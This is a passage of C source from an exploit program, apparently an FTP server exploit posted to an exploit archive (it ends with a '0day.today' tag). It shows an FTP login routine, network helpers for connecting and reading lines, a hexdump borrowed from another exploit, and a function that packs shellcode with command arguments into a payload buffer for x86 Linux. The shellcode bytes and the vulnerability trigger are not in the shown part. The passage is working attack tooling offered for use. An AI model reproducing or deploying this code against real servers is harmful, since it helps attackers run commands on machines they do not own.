"331 ", 4) != 0) { if (verbose) printf ("\n%s\n", resp); goto flerr; } net_write (ftpsock, "PASS %s\n", pass); memset (resp, '\x00', sizeof (resp)); if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) goto flerr; /* handle multiline responses from ftp servers */ if (memcmp (resp, "230-", 4) == 0) ftp_recv_until (ftpsock, resp, sizeof (resp), "230 "); if (memcmp (resp, "230 ", 4) != 0) { if (verbose) printf ("\n%s\n", resp); goto flerr; } return (ftpsock); flerr: if (ftpsock > 0) close (ftpsock); return (0); } /* ripped from zodiac */ void hexdump (char *desc, unsigned char *data, unsigned int amount) { unsigned int dp, p; /* data pointer */ const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" "nopqrstuvwxyz{|}~...................................." "....................................................." "........................................"; printf ("/* %s, %u bytes */\n", desc, amount); for (dp = 1; dp <= amount; dp++) { fprintf (stderr, "%02x ", data[dp-1]); if ((dp % 8) == 0) fprintf (stderr, " "); if ((dp % 16) == 0) { fprintf (stderr, "| "); p = dp; for (dp -= 16; dp < p; dp++) fprintf (stderr, "%c", trans[data[dp]]); fflush (stderr); fprintf (stderr, "\n"); } fflush (stderr); } if ((amount % 16) != 0) { p = dp = 16 - (amount % 16); for (dp = p; dp > 0; dp--) { fprintf (stderr, " "); if (((dp % 8) == 0) && (p != 8)) fprintf (stderr, " "); fflush (stderr); } fprintf (stderr, " | "); for (dp = (amount - (16 - p)); dp < amount; dp++) fprintf (stderr, "%c", trans[data[dp]]); fflush (stderr); } fprintf (stderr, "\n"); return; } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr(host); if (i == -1) { he = gethostbyname(host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; struct sockaddr_in csa; if (cs == NULL) cs = &csa; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); if (!(cs->sin_addr.s_addr = net_resolve (server))) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } void net_write (int fd, const char *str, ...) { char tmp[1025]; va_list vl; int i; va_start(vl, str); memset(tmp, 0, sizeof(tmp)); i = vsnprintf(tmp, sizeof(tmp), str, vl); va_end(vl); #ifdef DEBUG printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n"); #endif send(fd, tmp, i, 0); return; } int net_rlinet (int fd, char *buf, int bufsize, int sec) { int n; unsigned long int rb = 0; struct timeval tv_start, tv_cur; memset(buf, '\0', bufsize); (void) gettimeofday(&tv_start, NULL); do { (void) gettimeofday(&tv_cur, NULL); if (sec > 0) { if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) { return (-1); } } n = net_rtimeout(fd, NET_READTIMEOUT); if (n <= 0) { return (-1); } n = read(fd, buf, 1); if (n <= 0) { return (n); } rb++; if (*buf == '\n') return (rb); buf++; if (rb >= bufsize) return (-2); /* buffer full */ } while (1); } int net_rtimeout (int fd, int sec) { fd_set rset; struct timeval tv; int n, error, flags; error = 0; flags = fcntl(fd, F_GETFL, 0); n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) return (-1); FD_ZERO(&rset); FD_SET(fd, &rset); tv.tv_sec = sec; tv.tv_usec = 0; /* now we wait until more data is received then the tcp low level * watermark, which should be setted to 1 in this case (1 is default) */ n = select(fd + 1, &rset, NULL, NULL, &tv); if (n == 0) { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); errno = ETIMEDOUT; return (-1); } if (n == -1) { return (-1); } /* socket readable ? */ if (FD_ISSET(fd, &rset)) { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (1); } else { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); errno = ETIMEDOUT; return (-1); } } static int sc_build_x86_lnx (unsigned char *target, size_t target_len, unsigned char *shellcode, char **argv) { int i; size_t tl_orig = target_len; if (strlen (shellcode) >= (target_len - 1)) return (-1); memcpy (target, shellcode, strlen (shellcode)); target += strlen (shellcode); target_len -= strlen (shellcode); for (i = 0 ; argv[i] != NULL ; ++i) ; /* set argument count */ target[0] = (unsigned char) i; target++; target_len--; for ( ; i > 0 ; ) { i -= 1; if (strlen (argv[i]) >= target_len) return (-1); printf ("[%3d/%3d] adding (%2d): %s\n", (tl_orig - target_len), tl_orig, strlen (argv[i]), argv[i]); memcpy (target, argv[i], strlen (argv[i])); target += strlen (argv[i]); target_len -= strlen (argv[i]); target[0] = (unsigned char) (i + 1); target++; target_len -= 1; } return (tl_orig - target_len); } # 0day.today [2024-12-25] #